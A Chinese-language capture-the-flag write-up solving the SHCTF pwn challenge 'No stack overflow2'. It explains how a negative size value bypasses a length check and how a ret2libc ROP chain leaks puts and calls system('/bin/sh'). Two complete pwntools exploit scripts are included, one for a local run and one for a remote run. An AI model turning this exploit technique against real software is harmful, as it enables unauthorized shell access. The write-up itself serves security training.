SHCTF [Week1] [PWN] No stack overflow2
编辑题目信息
--->点击此处下载附件<---
一、checksec 查看保护机制
No canary found,考虑栈溢出
NX enabled,堆栈中代码不可执行
No PIE,未启用地址随机化
二、Ida 反编译代码
main函数执行流程分析
- 先输入size
- 对size大小进行判断,不得大于256
- 读入size个字节的字符串
可疑点
- nbytes 在第15行强行转换为 unsigned int 类型(众所周知负数转换为无符号整数时会变成极大的正数,此处可以用来栈溢出)
解题思路
- 可以将 size 设为负数(本文设为 -1),进行栈溢出
- 没有明显的后门函数和"/bin/sh"字符串,无法使用 ret2text
- NX 开启,无可读可写可执行段,放弃 ret2shellcode
- 使用 ROPgadget 发现很少的 ROP 片段,无法支撑 ret2syscall
- 考虑 ret2libc
- 由于 libc 的延迟绑定机制,main 函数中 puts 函数多次执行,考虑泄露 puts 真实地址来计算基址
- 利用基址和偏移算出 libc 中 system 函数和 "/bin/sh" 字符串的真实地址
- 构造返回语句调用 system 函数执行 shell 命令
三、编写可以打通本地的 exp
from pwn import *
io = process("./vuln1")
elf = ELF("./vuln1")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
offset = 0x104 - 4 + 8 # 264的偏移量
pop_rdi = 0x401223
ret = 0x40101a
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.symbols["_start"]
# 第一段payload
payload1 = offset * b'a' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(start_addr)
io.recvuntil(b"size: ")
io.sendline(b"-1")
io.recvuntil(b"input: ")
io.send(payload1)
#计算地址
puts_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc_base = puts_addr - libc.symbols["puts"]
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
# 第二段payload
payload2 = offset * b'a' + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
#print('puts_addr:', hex(puts_addr))
#print("system_addr:", hex(system_addr))
io.recvuntil(b"size: ")
io.sendline(b"-1")
io.recvuntil(b"input: ")
io.sendline(payload2)
io.interactive()
构造第一段 payload
这里需要注意,64位程序和32位程序有比较大的区别,32位程序函数参数是通过栈来传参,我们只需要构造一个栈结构即可;64位程序函数参数是通过寄存器来传参,因此,我们需要用到 ROPgadget 来给寄存器赋值
64位程序传递参数的寄存器一共有六个,如果函数参数大于六个,后面的参数才会入栈,寄存器传参顺序为:rdi rsi rdx rcx r8 r9
- 先将puts函数的唯一参数(也就是我们想要泄露的puts真实地址——puts@got)放入寄存器rdi中
- 紧接着调用 puts 函数,也就是 puts@plt
- 最后接上 puts 函数的返回地址(这里我们选择 _start 函数,也就是程序的入口位置。选这个地址的原因是,我们 read 执行完之后成功泄露出了 puts 的真实地址,我们还需要利用它获取 shell。所以这里我们重新回到程序入口从头执行一遍程序,又可以得到一次溢出的机会,又可以溢出一次,这次就用来调用 system 获取 shell。这也就是为什么说是构造第一段 payload 了)
这样我们第一次溢出的 payload 就出来了
payload1 = offset * b'a' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(start_addr)
offset 的计算方法
字符串存入的地址是 nbytes_4 也就是高 nbytes 4个字节的位置,而 nbytes 的地址是 -0x104,s 占8个地址。
offset = 0x104 - 4 + 8 # 264的偏移量
将参数放入 rdi 寄存器的方法
我们利用 ROPgadget 工具来查找 ROP 片段
ROPgadget --binary 'vuln1' --only "pop|ret"
我们需要的是 rdi 所以选取 0x0000000000401223 : pop rdi ; ret
这一片段,并获取它的地址。
pop_rdi = 0x401223
利用泄露的 puts 地址计算 libc 中 system 和 "/bin/sh" 的地址
system 函数属于 libc,而 libc.so 单个链接库内部的函数之间相对偏移是固定的
查看链接的 libc 版本并加载链接库
ldd vuln1
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
计算 libc 基址
libc_base = puts_addr - libc.symbols["puts"]
计算 system 函数和 "/bin/sh" 字符串的地址
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
处理泄露出来的 puts 函数真实地址
地址后三位16进制是固定的
puts_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
构造第二段 payload
- 将 "/bin/sh" 当作参数放入到寄存器 rdi 中
- 调用 system 函数
- 由于相当于开启了一个新的 shell 会话,所以不用考虑 system 的返回地址了
- 考虑到堆栈平衡,我们应在最开始调用一次 ret 来平衡堆栈
堆栈平衡:
当我们在堆栈中进行堆栈的操作的时候,一定要保证在 RET 这条指令之前,esp 指向的是我们压入栈中的地址,函数执行到 ret 执行之前,堆栈栈顶的地址 一定要是call指令的下一个地址。
这样我们第二次溢出的 payload 就出来了
payload2 = offset * b'a' + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
ret 地址获取
同样的我们使用 ROPgadget 工具,选择 0x000000000040101a : ret
片段,得到 ret 地址
ret = 0x40101a
打通远程
本地的 exp 直接连接远程端是打不通的,猜测是 libc 版本不同的原因。尝试 LibcSearcher 无果,于是手动搜索对应版本。
一一尝试,手动替换libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
中的 libc 文件,最后试出对应的远程 libc 版本,如下图。
此处给出两个搜索 libc 版本的网站
最终exp
from pwn import *
io = remote("remote_ip",xxxxx)
elf = ELF("./vuln1")
libc = ELF("./libc6_2.35-0ubuntu3.8_amd64.so")
offset = 0x104 - 4 + 8 # 264的偏移量
pop_rdi = 0x401223
ret = 0x40101a
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.symbols["_start"]
# 第一段payload
payload1 = offset * b'a' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(start_addr)
io.recvuntil(b"size: ")
io.sendline(b"-1")
io.recvuntil(b"input: ")
io.send(payload1)
#计算地址
puts_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc_base = puts_addr - libc.symbols["puts"]
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
# 第二段payload
payload2 = offset * b'a' + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
#print('puts_addr:', hex(puts_addr))
#print("system_addr:", hex(system_addr))
io.recvuntil(b"size: ")
io.sendline(b"-1")
io.recvuntil(b"input: ")
io.sendline(payload2)
io.interactive()
- 19
- 0
-
分享